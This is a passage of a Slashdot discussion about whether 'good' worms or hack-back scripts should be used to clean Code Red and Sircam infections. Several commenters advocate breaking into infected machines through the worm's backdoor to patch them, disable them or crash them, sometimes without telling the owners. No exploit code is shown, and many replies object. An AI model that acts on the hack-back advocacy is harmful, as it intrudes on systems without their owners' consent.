    It seems to me that everyone has a problem with distributing another "worm" and damaging the infected system. Why not take this approch: First, write an apache module that would use the original exploit the gain access to any system that attacks the "defending server". Second, once the attacking system has been accessed simply disable the TCP/IP stack (no permanent damage). This would result in the attacking system being shut down until an administrator could repair the system (or even be made aware of the problem for that matter). And because the module would have to be installed on a server you would not have to deal with another worm running around unchecked.

  113. Re:I don't know if this would be legal. by Anonymous Coward · · Score: 0

    If someone leaves thier lights on in the parking lot do you open the car door and turn them off? A Better analogy is you Walk in the front door of someone who went on vacation and lock the door for them... Cy

  114. Re:Already been done by ddent · · Score: 1

    well come on, don't just tell us it exists... tell us where! ;)

  115. Cert, ISS, MS already discussed this. by Anonymous Coward · · Score: 0

    I unfortunately do not have a link, but I know this was actually discussed as a solution by these organizations, and the idea was thrown out. However, if a "white hat" hacker were to do this, I think many sysadmin type people would all let out a collective sigh. -k

  116. Re:Why do favors? by CyberPsyko · · Score: 0, Troll

    Amen!

  117. Thought of this... by jcronen · · Score: 1
    I'd actually thought of this idea as a way to rid myself of a macro virus I'd had on several of my machines. Write another "virus" that checks for the existence of that virus and neuters it, then propagates to all other files it can find.

    My biggest paranoia would be that I'd write it so it would go out of control, then I'd be the one they'd be hauling out of the police car and into the courthouse on CNN.

    And I can't honestly think that I'm the only one that ever thought of this.

    Has anyone else heard of/attempted/got in trouble for fighting fire with fire in this way?

    1. Re:Thought of this... by Anonymous Coward · · Score: 0

      Hmmm... Well wouldn't this KINDA be like back in the 80's when people would hack into a company like a bank, steal all the money electroniclly, notify the company of what he did and tell them that he/she ought to be hired to do electronic security for them? I'm sure it's an apples/oranges argument in a way, but what's better? Letting the virus run rampant?

      No one will ever likely be able to move fast enough to innoculate this independantly. By coding a counter virus, or metaphoriclly speaking, a 'white blood cell' you could let the problem cure itself.

      Is it ethical? Hmm. Well if I was a business owner with an NT based server *snort* and my computer got fucked red and raw by a virus and someone 'infects' it with the cure, I'd probably be happy someone was considerate enough to help me out. And how much did I pay for the 'cure' in the end? Zero, nada, zip. Well 'cept maybe a reminder to keep myself updated. ;) Give the 'net some self defenses... That's about the only way you are going to keep it from 'crashing' as it continues to grow and evolve.

      Yeah, people can write 'counter' viruses for anti-viruses, etc etc. Thats part of growing, part of evolving. And besides, wouldn't beating a virus with a virus just show whoever coded it is a worthless lackey? :)

    2. Re:Thought of this... by Anonymous Coward · · Score: 0

      Funny, how quickly we forget...I did a search for the words "Max Vision" on this page, and didn't get one hit...he's in jail right now for doing exactly what you idiots are saying just might be ok...slashdot is idiotic, there should be one post under this article saying "Read about Max Vision", and that should be that...not a bunch of fuckin idiots pretending to be lawyers...grow up fools.

  118. I don't know if this would be legal. by crcerror · · Score: 0, Redundant

    I've played with this idea before as well but the one thing that I always thought that this seems like it would be equivalent to breaking into someones house and then fixing the way you came in. It's still breaking in, regardless. Kind of a "white hat" hacker deal but that still is considered a "no no" in the eyes of the law.

    You're still infecting them with a virus, it's just a good virus and you could probably be brought up on charges under some computer crime legislation.

  119. virus vs virus by motox · · Score: 1

    I think there was a virus a long time ago whose only purpose was to kill another virus, i dont remember if it was on the Amiga or on the PC. Anyway still it ended up being classified as a virus. To be honest i prefer to have control over my anti-virus program rather than have core wars games running on my pc without my control :)

    1. Re:virus vs virus by Chakat · · Score: 1

      Actually, in the waning days of the "high quality" viruses, there were several viruses that, in addition to their payload, would "kindly" disinfect viruses writen by rival virus groups. Of course, now, most viruses are clunky VB things writen simply to cause as much havok as possible, without worrying about size, elegance, etc. Sircam, and it's integrated SMTP server, is the closest virus, in terms of elegance, to the "good ol' days" of viruses.

      --

      If god had intended you to be naked, you would have been born that way.

    2. Re:virus vs virus by Anonymous Coward · · Score: 0

      I think it would be interesting to see a site that allows people to send in a virus to compete with other virus (similar to battlebots on t.v.)
      What do you guys think?

  120. Anti-Sircam Virus by zpengo · · Score: 5, Funny

    Why not take the Symantec Sircam cleanup utility, patch it to make it self-propagating, and then e-mail it out with the message "Hi there! I send you this because you're a stupid fscking idiot. :)"

    --


    Got Rhinos?
    1. Re:Anti-Sircam Virus by Lando · · Score: 2

      Actually, one of my customers received a message to this fact, he was automatically sent back a message saying that sircam had infected his system and the patch to fix it could be located at mcaffee.

      A link was included and though my customer didn't understand the problem he called me and we had it fixed in a couple of minutes.

      Lando

      --
      /* TODO: Spawn child process, interest child in technology, have child write a new sig */
  121. Closing the Backdoor by Meridun · · Score: 1
    I've thought quite a bit about this, since my apache server has been getting hammered with probes, and now my ISP (ATT Broadband) seems to have blocked connections to port 80 of it's subscribers, leaving my website high and dry (yes, I can jump ports, but then I have to tell everyone I've jumped ports.)

    Unfortunately, the general consensus is that the proper remedy for this worm is to reformat and reinstall on an infected machine. And while the idea of reformatting the drives of all those idiots who got themselves infect and are probing my machine is very appealing, it's also potentially very illegal.

    I would be in favor of half-measures, like a script that would patch the IIS vulnerability, and clear out the root.exe and explorer.exe vulnerabilities, but this may be ultimately harmful, since it may not remove all vulnerabilities AND it may make detection of the exploit more difficult for the machine owner.

    Does anyone have any ideas in light of these problems?

    1. Re:Closing the Backdoor by Anonymous Coward · · Score: 0

      I'm acctually trying to mount an back-attack on everybody trying to get some "default.ida" file from my server (Using the same Index-Server Hole to crash the attacking system). I'll start as soon as I get enought subscribers so that the effort at least will clean out the infected machines at our ISP (CableCom Switzerland), and I'll also wait until my lawyer got the leagal stuff ready, of couse :) Since I understand, that the virus will become "silent" if the computer got rebooted.

    2. Re:Closing the Backdoor by RGRistroph · · Score: 1

      Re-formatting and re-installing doesn't work if the default install has vulnerbility. The machine will just be infected again within minutes.

      Not removing all vulnerbilities is better than not removing any. As far as making the detection of the exploit difficult, most of these people don't even realize that they are running the IIS webserver, and would have no idea how to patch it or turn it off. If you want to launch a virus that will educate users, well, you will fail. These people don't know about the systems they are running because they don't *care*, as long as it works for them. You have better luck teaching a high school detention hall about relativity. The users will just click, cntl-alt-delete, reset button, or even re-install selecting the exact same insecure options, and some how thrash their way back to being able to use their machine regardless of what helpful educational messages you pop up.

      So I say those problems aren't problems. I would write a daemon would check any infected IP that attacked me 24 hours later, and if it was still infected, would just go in and patch/kill IIS/whatever. A little log file left in C:\ might scare the machine owner into thinking people were hacking his machine and that he needed to re-install which would cause him to get re-infected. So don't tell him shit. Go ahead and install McAfee and set his outlook options to make him see all of the file extensions, etc.

      I thought about doing this myself by using the backdoor to up load a staticaly linked perl.exe and writing it all in perl. But Code Red is just not a big enough problem to be worth the time, let alone the heat you might get for writing a virus good or bad. I don't run IIS, I don't have websites that are much bothered by it, while my broadband connection is a little slower these days it is still pretty bearable. I say let the windows users just carry on.

      As for ATT blocking your port 80, they are obviously not blocking it from inside their own network if you are getting exploit attempts on apache. ATT can't deny port 80 from the inside to the outside to stop their network from infecting other people because all their customers just browse the web; apparently they can't deny port 80 within their network or they already would have; so they are stuck doing something useless. It does nothing except degrade the worth of their service, until they have wiped out code red inside - shutting the barn door after the horse is IN, so to speak. Communicating this to anyone who could make the decision inside ATT broadband is hopeless, but what you should do is send them the token email to support and other places, and then cancel and switch to someone else.

      The only person I could see bothering to write a fix-virus would be someone concerned about information spreading by the appearence of all these backdoors. For example, if I were a sys admin at the Pentagon or State Department or even a very large corporation, I would write that (probably make it not live outside my organization for legal reasons). Even though you probably can't use the backdoor Code Red creates to get from the outside to the inside, all those big organzations have a lot of compartmentalization of information and are so big you have to presume the existence of a few disgruntled employees or outright spies at any given time.

    3. Re:Closing the Backdoor by Meridun · · Score: 1
      Well, first off, I don't think anyone should write this as a virus; that's just plain stupid. Write it as a targeted script against known infected IPs. I believe that's what you were advocating here and I agree with it, but the terminology was a bit ambiguous in spots and I wanted to make sure.

      Your comment on the Default Installation Settings problem is probably on target as well. I really couldn't say what the default installation is for Win2K since I never pick default, and I specifically don't install IIS. I had assumed that it was not in the default, although it is very possible that it is.

      As for ATTBroadband blocking port 80, I'm fairly sure they are since I've gotten no non-local traffic on apache since Monday at 11pm. I have no problems with connecting locally, and have checked my firewall settings. Additionally, I've read reports from fairly credible sources stating that they were taking these steps, and I have confirmed that I can't connect to my webserver remotely, but have no problem connecting on other ports. Note that they only blocked inbound connection attempts on port 80; outbound works just fine.

    4. Re:Closing the Backdoor by Anonymous Coward · · Score: 0

      I would just like for there to be a way to contact the operator of EVERY server on the public internet by email, instead of having to risk legal exposure under the boneheaded computer crime laws we have. I don't have to know their real name, phone number, and address, just give me a goddam working email.. This ought to be a requirement, no, it ought to be part of your connectivity. Greedy, lazy ISP's though, have made it difficult by being stingy with static IP's, reverse DNS delegation,. and not wanting you to run servers to start with. (What's it going to take? Class action lawsuits for false advertising and consumer fraud?) Yes, you can get third-party primary forward DNS, at additional expense,probably in violation of somebody's TOS, but that doesn't help if you only have an IP number and they're not using "hostmaster", "abuse", etc.

      Oh, they tell us IPv6 will fix all this. I'll believe it when I see it.

      Rogue Bolo

  122. Still a virus... by rkischuk · · Score: 0, Redundant
    Technically speaking, this is still a virus, and still costs companies bandwidth and processor time.

    Also, it opens the door for a whole new wave of confusion. Suppose I tweak the "good" virus, and add a little bit of insidious behavior? What if I send out a "bad" virus claiming it is a "good" one?

    Right now, we're fighting a losing battle to get users to STOP clicking on unknown attachments. Any progress we do make would be COMPLETELY destroyed by encouraging them to install "good" virii. Right now, the optimal virus protection might be a grammar checker. You'd think that the guys who wrote Zero Wing had found a new hobby.

    --
    Seen any BadMarketing lately?
  123. This has already happened by cnkeller · · Score: 4, Insightful
    A while ago (months?) someone had a "beneficial" virus, that was making the rounds and fixing security holes in Windows I believe. The name escapes me. The author (who publicly claimed responsibility) caught quite a bit of flak over it. Who knows what kind of hidden payload your packaging in addition to the helpful features.

    Personally, I feel a virus is a virus, regardless if your intentions were good. You're not any better than the hundreds of losers out there creating this mess. If you want to warn me of security holes in my system, send me an e-mail that doesn't contain a virus.

    --

    there are no stupid questions, but there are a lot of inquisitive idiots

    1. Re:This has already happened by rabidcow · · Score: 1

      It's probable that you don't understand the difference between right and wrong.

      It's not a matter of right or wrong, it's a matter of questionable or wrong.

      If I leave my doors unlocked, do I want my neighbor to come in, walk all through the house locking every door? Heck no! I want him to stey out of my house if I'm not there. If I leave the doors unlocked, I want them unlocked.

      Computers are stupid. No matter how much smarts you put into a worm to tell it "fix this problem, everywhere" more likely than not it'll screw up somehow, somewhere. We're not talking about your neighbor coming in and locking your doors. We're talking about the guy across town teaching a dog to run around town and lock everyone's doors.

    2. Re:This has already happened by blair1q · · Score: 2
      I'm certain you don't know right from wrong, because you've defined your terms, and messed it up.

      "Illegal" is not the same as "wrong".
      "Legal" is not the same as "right".

      Police typically check locks on doors. They can and do enter property they find open and unoccupied, and they can and do lock those doors if possible and if they think it's a reasonable thing to do given the neighborhood (hint: the internet "neighborhood" is roughly every machine on it, and everyone, good or bad, lives right next door to you). A warrant merely franks the search into evidence.

      The fact that you don't like your neighbors is your problem. The rest of us will thank ours for looking out for us.

      What I'm discouraging is people trespassing on my system without my prior consent. If I want a patch (as in your case of buggy software), I'll initiate the transaction thank you. I don't want anything pushed to me.
      Then you might want to stop accepting unsolicited communications.

      You might be competent to download and apply a patch. But the network is full of incompetent or apathetic people, and their incompetence results in the ability of dangerous worms to propagate.

      Their computers are emanating viri and worms just as evilly as the computer that originally did it. If a bum who crawled in your open door and died was emitting a foul stench and bacteria that were wafting down the street infecting other houses, you can bet I and the local HazMat team would be, without a warrant or your permission, all over your door nailing it shut, and your pewling cries of "trespassers!" wouldn't impress a jury.

      The problem is that the Internet hasn't got itself set up that way, and the real culprits, the ones who install and run buggy software on a public network, are not being prosecuted.

      --Blair
    3. Re:This has already happened by JayHerrick · · Score: 1

      If you want to warn me of security holes in my system, send me an e-mail that doesn't contain a virus.

      Being windows servers, most of the addresses that are attacking me do not respond to root@[ip] or webmaster@\[ip]

      So what now?

    4. Re:This has already happened by cnkeller · · Score: 1
      It's probable that you don't understand the difference between right and wrong.

      Uhh, I don't think you know the difference between right and wrong. Intruding onto my property either computer-wise or property-wise is illegal in the united states without either prior consent or a warrant. Since warrants don't really exist in the cyber world, anyone intruding into my system for whatever reason is wrong and also illegal.

      What I'm discouraging is people trespassing on my system without my prior consent. If I want a patch (as in your case of buggy software), I'll initiate the transaction thank you. I don't want anything pushed to me.

      --

      there are no stupid questions, but there are a lot of inquisitive idiots

    5. Re:This has already happened by blair1q · · Score: 4, Insightful

      >Personally, I feel a virus is a virus, regardless if your intentions were good.

      It's probable that you don't understand the difference between right and wrong.

      Think of cops and robbers. We have bad guys with guns running around on the streets, and we have good guys with guns running around on the streets. Neither group is very bright, and both are liable to shoot you for pulling your wallet out too fast in a darkened doorway. Still, we know which group we're going to train and pay to protect us using their own judgment.

      A neighbor who checks and locks my door is far more neighborly than one who walks in, spray paints grafitti on my walls, craps on my carpet, leaves a dead rat hanging between the old coats in the closet, and says "oh, you have a security problem, you should get that fixed before someone does something bad to you".

      People who bought buggy software got ripped off, and you're discouraging conscientious software engineers from providing free, automatic service to those people, and preventing them from becoming unwitting dupes in spreading the bad viri around the world.

      But you shouldn't live in fear that this will become epidemic. People who do know right from wrong and who do choose to do right understand that doing right is often mistaken for doing wrong by people who don't know the difference, and our system of justice isn't based on right and wrong, it's based on perception, so they won't take the chance of being railroaded, Good Samaritan law or no.

      --Blair

    6. Re:This has already happened by dazed-n-confused · · Score: 2
      If you want to warn me of security holes in my system, send me an e-mail that doesn't contain a virus.
      Hi! How are you?

      This is the file with the information that you ask for.

      [SecurityHoleWarning.doc.exe]

      See you later. Thanks.
    7. Re:This has already happened by startled · · Score: 1

      Hmm, actually, about a year ago my neighbor accidentally left her door open. I closed and locked it for her. She thanked me later.

      Analogies are often stupider than computers.

    8. Re:This has already happened by AntiTuX · · Score: 1

      as I recall, it called something like the lion worm or something like that.
      --John

  124. no no no by aozilla · · Score: 1

    Why not have another virus that exploited the back door, closed it, then started sending itself to other servers for a certain period of time?

    Sending to other servers for a certain period of time is not a good thing. First of all, you are causing harm by checking those other systems. Secondly, you are causing harm on the machine you install this on. Thirdly, you might screw it up, and accidently cause even more harm than you intended.

    I don't have a problem with exploiting the back door and closing it for any site which specifically tries to infect you, but after that your interaction with the other server should stop. Even that has the problem of possibly not letting the victim know about the problem, and that in itself is troublesome.

    --
    ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
  125. Re:Funny, by gupta · · Score: 1

    I agree. This past monday when i first login, my W2K told me it shut down in 2 minutes because it just installed an anti-code-red. this is itself exactly a virus: executing something without owner's consent...

  126. Re:Why do favors? by Anonymous Coward · · Score: 0
    So let me get this straight: IF you use IIS, then tough shit, right? Well, what a great attitude. Unfortunatley, these Admins with vulnerable boxen help to bog down traffic globally. So letting Admins who "made their bed[s]" sleep in them is a rediculous comment.

    If you're going to spout anti-MS rhetoric, at least have something constructive to say...

  127. Marvin the Martian by IainMH · · Score: 1

    "The submittor raises an interesting question - is this possible?"

    Hemos: now read this out loud to yourself in the voice of Marvin the Martian.

    N.B. It is spelt 'submeter'.

    ~Iain

    1. Re:Marvin the Martian by Anonymous Coward · · Score: 0

      >It is spelt 'submeter'.

      Good joke, man.

    2. Re:Marvin the Martian by Anonymous Coward · · Score: 0

      You mean like with a Zed?

    3. Re:Marvin the Martian by Anonymous Coward · · Score: 0

      N.B. It is spelt 'submeter'.

      Actually it would be spelt submitter if it was a word. I don't think it is.

      Oh wait, you're British, nevermind. But don't go correcting our Americanized (with a z) spelling.

    4. Re:Marvin the Martian by Anonymous Coward · · Score: 0

      you are all morons:

      From Webster's Revised Unabridged Dictionary (1913) [web1913]:

      Submitter \Sub*mit"ter\, n.
      One who submits. --Whitlock.

  128. Possible but not a good idea by Control-Z · · Score: 1
    I'm sure you could write a "good worm" to roam the Internet and patch IIS servers. But you'd still be executing your code on other people's servers, even if your intent is honorable. Not a good idea.

    There have been "good worms" released on the Internet before that had bad bugs. I wouldn't want the FBI knocking on my door and taking all my computers when something went wrong.

    1. Re:Possible but not a good idea by Borogove · · Score: 1

      If the 'good worm' worked by waiting for connections from infected machines, AND it cleared up all traces afterwards (other than a note to the sysadmin to explain what had happened), AND you launched it from a machine running W2K+unpatched IIS, then it would be very difficult for anyone to prove that YOU were the instigator. As far as anyone could tell, your machine had been infected by the 'good worm', which started sending copies of itself to other machines.

      --
      There has been a major scientific break-in
  129. Re:This is a Bad Idea by daveisoverlord · · Score: 1
    but in this case, if somebody wants to leave their box open - through ignorance, laziness, or some other ineffable reason - that is their choice

    Leaving your box open harms me if it's used to attack me. This sounds like the smoker's argument that they should be able to smoke wherever they want. Of course, society is increasingly disagreeing with that argument.

    Of course the other point I think that needs to be made, is that I believe the majority of those people don't WANT their boxen to be open. That's why they call it exploited. I don't think it's their choice. I don't believe negligence, by definition, is a choice. Personally, I would chalk lack of patching up to lack of foresight (it's a little gentler than stupid).

    --
    The perception of reality is more important than reality itself.
  130. @Amiga it was a virus-killing Virus by Anonymous Coward · · Score: 0

    It has been done before, not on the net but on the Amiga. It was a antivirussoftware that hade viruslike effect. It spread it self and killed of viruses at the same time.

  131. FFS Hemos by Anonymous Coward · · Score: 0

    There have been (at least) three Code Red related stories on slashdot and this very possibility has been discussed every time. In multiple threads.

  132. Re:Its entirely possible by Tut'n'common · · Score: 1

    A good reason to live in South Carolina. The Attorney General recently announced "Open Season" on home invaders. If someone breaks into your house, he says, shoot them dead. He has specifically instructed all prosecutors in the state to *NOT* charge anyone with shooting a home invader.

    --


    "I was a geek before it was cool" --Me
  133. Discussed before by egjertse · · Score: 2, Insightful
    This has been discussed before, among other places on Bugtraq. The concept has many flaws:
    • The morality aspect - you are "taking control" of someone elses hardware/software
    • The legal aspect - this still constitutes "cracking" as you have illegally gained access to a computer system that is not yours. Breaking into someones house is not OK just because you only intended to do their dishes.
    • The practical aspect - the worst side effect of internet worms is not primarily damage done to the infected systems, but bandwidth consumed and resources depleted as a result of the worm spreading.
    I don't know of any real-life implementations of this (I somehow have the feeling I have heard of it, but it escapes me right now), but the concept has been debated at length during prior "worm attacks". There are probably many other reasons why this is not a good idea, but I think these are the most signifficant.
    1. Re:Discussed before by startled · · Score: 2

      The third one, the practical aspect, is completely false. If you only propogate and install the worm to systems that probe you, you are reducing bandwidth by preventing those systems from sending a gazillion requests.

      The first one, the morality aspect, is debatable. Many people would argue that cleansing their system of the virus is entirely ethical.

      The legal one is the only one that seems cut and dried. Even if default.ida was a program, and you're just responding to their request, it seems your intent is fairly obvious, and the courts would recognize that. So yeah, you'd probably get hauled off to jail.

  134. Digital war...? by I.+M.+Bur · · Score: 1

    I'm quite sure, that any anti-worm will be in no time countered by a new version of the original worm, which is (a) imune to your anti-worm, and (b) killing all your anti-worms it meets...
    Will make quite a big digital war, between those worms and their counterparts...

  135. This is surely going to be the next Core Wars by Anonymous Coward · · Score: 0
    I've looked long and hard for a game that I could create that would basically cater to the person who cheats the most. Some people have said that games like Ultima Online do this to an extent.

    Virus writing in the real world is an abhorent practice, though I'd be suprized if anonymous groups don't start "tagging" machines, battling back and forth with the exchange of virii/worms to claim the world.

  136. Why not? by Aerog · · Score: 2, Insightful

    I don't see how it could be a problem, I mean, logically only something like a DoS attack or the like can't be "undone". If it's a bug in the individual system then it should be able to be fixed. The problem arises with the media stigma of a virus.

    Now this just goes right back to the whole "but I thought a virus was bad" response that your typical user will tell you. For the most part, it could work wonderfully, but the big thing is, the only people who will need it are those who did not patch a system for the bug (since if they patched it, then the retrovirus (if you will) will not be able to use the same vulnerablilty). Those are most often the same people that opened 40 SirCam attachments even though they were warned ("But it came from my best friend!"). To these people, a virus is something to be afraid of, regardless of purpose. A virus is always a bad thing that will "break the computer" and we don't want to "break the computer" because we can't "fix the computer" <Cue ominous music>

    But then again, if these people are so oblivious as to how they're infected, then it just may work as long as the media doesn't blow it out of proportion again.

    --

    - Relativistic? That's barely Newtonian!
  137. Re:It doesn't cost a dime to pay attention... by JayHerrick · · Score: 1

    It's not the "good" admins causing the problem, it's all the "default" IIS installs at peoples' houses with no firewall between them and their cable modem.

    (By the use of "good" in describing a MS admin I only intend it as releative to other MS admins)

  138. Re:Its entirely possible by egregious · · Score: 1

    If you are in a dark alley somewhere, and there is one other person, and he draws a gun on you, indicates an intent to harm you, you have the right to use your weapon ONLY IF that is your last resort.

    Actually, that's not true, at least in Virginia. There is little to no notion in American law requiring evasion on the part of the atackee. Virginia law reflects this allowing you to shoot before you run. In fact, you can respond with deadly force anytime your life is genuinely threatened (ie, not a little old lady beating you with a stick but a 6'4" giant beating you with a baseball bat). Most places in the US are the same way.

    You are correct that there is no civil concept of self-defense. Those suggesting that a direct invasive response is anywhere close to appropriate as a response to a virus is kidding themselves.

  139. Makes me nervous. by FrankieBoy · · Score: 1

    It kinda boils down to: Do you want ANY unknown software running around on your system, even if it's intentions are good. I think that if I had the choice of allowing "good" viruses on my system, I would decline. Maybe a worm that finds/exploits a weakness in your system could just leave a calling-card text file somewhere to alert you to the issue. It reminds me of the old cartoon where they bring in a cat to chase away the mouse, then they have to bring a dog to chase away the cat, etc., etc., etc.

  140. Re:Its entirely possible by Rinikusu · · Score: 1

    Break into my house, you die.

    Throw away my coffee, you die slowly.

    :)

    --
    If you were me, you'd be good lookin'. - six string samurai
  141. Re:Its entirely possible by Anonymous Coward · · Score: 0
    This is incorrect. English Common law gives us the "castle doctrine"--which says that a man's house is his castle, and he has no duty to retreat from it. Doesn't mean you can shoot someone inside your home with impunity, but that there is NEVER a duty to retreat. Some states (e.g., Florida, Oregon) have a "duty to retreat" on the books, others do not (e.g., Washington).

    There was a misguided case in MA that tried to establish a precedent of required flight from the home, but that was a) related to a domestic abuse situation and the assailant was also a resident of the house, and b) has since been clarified in MA state law by the legislature.

    And no, I'm not a lawyer, just an LFI graduate.

  142. Re:That's a illegal law. by jeremyp · · Score: 1

    I'm not from the US, so I'm curious. You think the right to bear arms is the equivalent to the right to gun somebody down because they tresspass on your property?

    I think killing somebody is a little extreme as a punishment for a bit of burglary.

    --
    All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  143. Defense department research by Rimbo · · Score: 2

    Is this part of the problem?

    I have a friend who works for a company that's doing just this. They are funded by the government to write intelligent agents ("agents" in the sense of mobile code) for security purposes. So rather than merely setting up a firewall, the goal of this is to write software that can move from machine to machine, like a virus, and stomp out viruses, trojans, and fight off other attackers.

    Call it a white blood cell.

    So is developing a counter-virus, an antibody, a white blood cell being part of the problem? I don't think so. Once a computer's been hacked, it's already been hacked. It's already been violated. If you don't want people to write counter-viruses, for heaven's sake, don't let you computer get infected in the first place! Viruses are preventable.

  144. Re:Its entirely possible by DragonPup · · Score: 1

    Actually...you CAN'T shoot someone for merely trespassing or breaking into your hime. Legally, they must pose a threat to you, family, etc in the house. If they pull a knife(for example) in your house, you can let them enjoy a hot lead injection though.

    -Henry
    Not a lawyer, but took a year of law in high school...

    --
    "Useless organic meatbag" -HK-47
  145. Re:Its entirely possible by jgerman · · Score: 2

    You'll find plenty of cases where a criminal harmed by a victim who was protecting himself has successfully sued for damages.

    --
    I'm the big fish in the big pond bitch.
  146. Funny, by mackman · · Score: 0, Troll

    I've always considered Windows Update the anti-virus virus.

    1. Re:Funny, by BigBlockMopar · · Score: 3, Funny

      I agree. This past monday when i first login, my W2K told me it shut down in 2 minutes because it just installed an anti-code-red. this is itself exactly a virus: executing something without owner's consent...

      This past Monday? Wow. I see your administrators take their time, don't they? Or did they wait until they'd been infected to decide that it might be time to take preventative measures?

      --
      Fire and Meat. Yummy.
    2. Re:Funny, by Anonymous Coward · · Score: 0

      shows what you know

    3. Re:Funny, by RetryIgnore · · Score: 1

      Windows Update won't install anything without your consent. It doesn't work like that.

  147. writers: virus has no plural by Anonymous Coward · · Score: 0
  148. Could go horribly wrong by Anonymous Coward · · Score: 0

    I forget the actual virus names, but years ago a virus appeared to try and do just that. Unfortunatly it had a bug, and became more prevelent and destructive than the virus it was trying to remove!

  149. Re:So the solution would be... by Have+Blue · · Score: 2

    Although this is probably an urban legend, I have been told of someone to whom SirCam emailed Windows XP RC1. So yes it is theoretically possbile ;)

  150. Absolutely Not! by crombie · · Score: 1
    That's a bad idea, just because the code that your write for your "virus hunter" of sorts could be buggy as well, and as it propogates itself, it could crash other's machines. I would be extremely pissed off if someone's anti-virus virus crashed my machine, very pissed...

    Although the current method of anti virus software is not perfect, because people not having the software or updated virus definitions, it's currently the best way, and there are definitely improvements to be made in the field.

    -crombie

  151. Re:Its entirely possible by Anonymous Coward · · Score: 0

    What? I don't know about you, but I keep my doors locked. No one is going to come randomly "wandering in." If there in it's because they were determined to get in, for whatever reason.

    Your post makes no sense.

  152. Try this to notify users by Jimithing+DMB · · Score: 1

    On my server I have a shell script run by the webserver which echos the REMOTE_ADDR variable along with the current time into /tmp/cripfifo (Code Red IP FIFO). From there I have a script that I run as another user that does and endless loop of cat /tmp/cripfifo | while read i which then loops and for each line it inputs (which is actually probably only 1 since the fifo is closed each time the webserver script writes into it). With each line of input it first checks to see if there is a file named $REMOTE_ADDR* in the errorips directory. If not it runs another script in the background which uses wget redirecting output into errorips/${REMOTE_ADDR}_TIME. If it succeeds it moves that file into the processed/ directory which means that if the machine attacks again it will repeat this processes each time it attacks.

    Yeah, I know there are some race conditions if the same IP gets processed before the other one has had a chance to write the logfile. It's not a big deal though, and the chances of that happening are slim anyway unless someone is just bombarding you with attacks in which case it still doesn't matter.

    See http://kernelrpm.sourceforge.net/codered/ for the scripts. Note, it may be a better idea to use the Location directive for /default.ida and point it to the script rather than making the whole damn directory ExecCGI. Although I don't have a problem doing that since only I have access to it anyway.

  153. Sorry, but wasn't this sort of done already? by Touby · · Score: 1

    In an earlier slashdot article (http://slashdot.org/articles/01/01/18/0141232_F.s html) a text was mentioned that describes the early WANK worms, and, at the least, implies that a worm killing worm has (successfully) implemented, and was (I think) only the third worm ever widely released (preceeded by father christmas and the first WANK worm...).
    Anyway, here's a snippet from the text: "It was also designed to hunt down and kill the decoy-duck program. In fact, the SPAN network was going to turn into a rather bloody battlefield. This worm didn't just kill the decoy, it also killed any other copy of the WANK worm. "

  154. White hat worms by Magius_AR · · Score: 1
    I've seen alot of posts regarding the legal implications of white hat worms due to the fact that you are "trespassing" on property that isn't yours.

    However, there's another (imo more significant) implication to consider. The intense global network traffic caused by spread of Code Red practically brought the Internet to its knees for a couple days due to the sheer magnitude of data travelling over the wires. Worms double effectively as DoS attacks even when not attempting to. Now, as bad as the Code Red infestation hammered the internet, releasing an equivalent White Hat worm could significantly _increase_ the amount of traffic out there. Put enough worms out there, good OR evil, and you'll eventually get to the point where the whole damn internet is DoS'ed.

    Magius_AR

  155. Re:Breaking into a house to install a better deadb by Anonymous Coward · · Score: 0

    More like locking a house which you see isn't locked. Cops have been known to rattle doorknobs.

  156. Re:Its entirely possible by DeePCedure · · Score: 1

    Clue: threatening someone with deadly force and cracking their webserver are not even remotely of the same magnitude.

    Yes, but criminal trespass (a crime to which an American citzen can respond with deadly force) and cracking a webserver are of the same magnitude.

  157. Re:net police by _ph1ux_ · · Score: 1

    I own a very large store - and I had the building designed and built by one of the most well known store building contractors in the world.

    Its a huge store - I employ many many people, and we sell a lot of stuff... but in the past 5 years that I have been in business I have had several break-ins where people keep stealing all my stuff - of just trash the place and destroy all our merchandise so that we are out of business for a time.

    I ahve contacted the police and they have investigated and determined that the building was designed with doos, windows and locks that can be opened by people who know how they work without having to have a key. Everytime I get robbed or trashed the contractor comes out and fixes the locks or doors or windows, but it happens too often. I cant replace the building with one that is made by a different contractor because that would be too expensive - I would have to train my staff again, and teach them where everything is located because that contractor cant build a store that is of the same configuration...

    so I am stuck with the building I ahve - and these vandals and theives keep finding ways of breaking into the building that I own - well I dont really *own* it I am leasing it from the contractor - but apparently even though the contractor owns it - they apparently have no legal responsibility for the property.

    I have been told that I cannot sue the contractor for providing me a building that has design flaws which allow breakins which cause my business to be unable to accept customers and make money - because I apparently agreed to their lease terms.

    ***

    And microsoft laughs all the way to the bank.

    We should start a class action suit to get MS to adhere to the license policy - seeing as how they OWN the software we RENT from them - it is THEIR responsibility to fix the fscking leaking faucets.

    If my house burns down because of a flaw on the designer or landlords part I sue the pants off em.

    lets get M$ to be responsible gor gods sake and stop bitching about whether or not the fscking design of white-hats is ethical. we keep focusing on the symptoms and not the root cause. FAULTY SOFTWARE IS RESPONSIBLE - not the damn virii.

  158. Re:Its entirely possible by cheshire_cqx · · Score: 1
    Once the attack is over, you go to the police. In our society, normal citizens are only allowed to use force that would otherwise be illegal, when the police are out reasonable reach...Like when you have shotgun in your face.

    Sort-of. You are allowed various self-help remedies under certain circumstances.

    Also, you *do not* need the police under many sets of circumstances. You can obtain court orders in the civil context that allow you access to seize the property of others (although you may need the Sheriff or US Marshal to preserve the peace or execute the court order).

    Also, the police have exeactly the same rights as other citizens to use reasonable force, up to and including deadly physical force. They may use it to protect themselves or others from imminent danger. The practical side, though, is that--cop or no cop--if you use deadly physical force you'd better be right, or your butt is toast. Cops might get more of a benefit of this doubt on this as a practical matter, because we entrust this function to them. (There are also rules regarding the arrest aspect of physical force, but I'm talking here about the self-defense aspect.)

    My second scenario is like a trespass analogy (and as I said, is likely illegal as I phrased it). Trespass is jusitified under many circumstances.

    You are right, though--with regard to physical force or other intrusions upon the person or property of others, you must generally stop once the exegency is over and resort to the cops or the courts before you go further. Remeber, even the cops will need the power of the court under most circumstances (search warrant, arrest warrant, etc.) just like an individual (writ of replevin, forcible entry and detainer (for evicitions), seizure of evidence for a civil matter, and so on).

  159. DirectTV hacked the hacker.... by FortKnox · · Score: 2

    Remember the DirectTV anti-hack on the hackers? Seems like this is the same idea. Anti-virus the virus...

    Hey, if it worked for DirectTV, it should work here...

    Actually, this may start a "best of the best" competition with virus writers. They'll come back with a virus to counteract the anti-virus, and on and on.... might be interesting...

    --
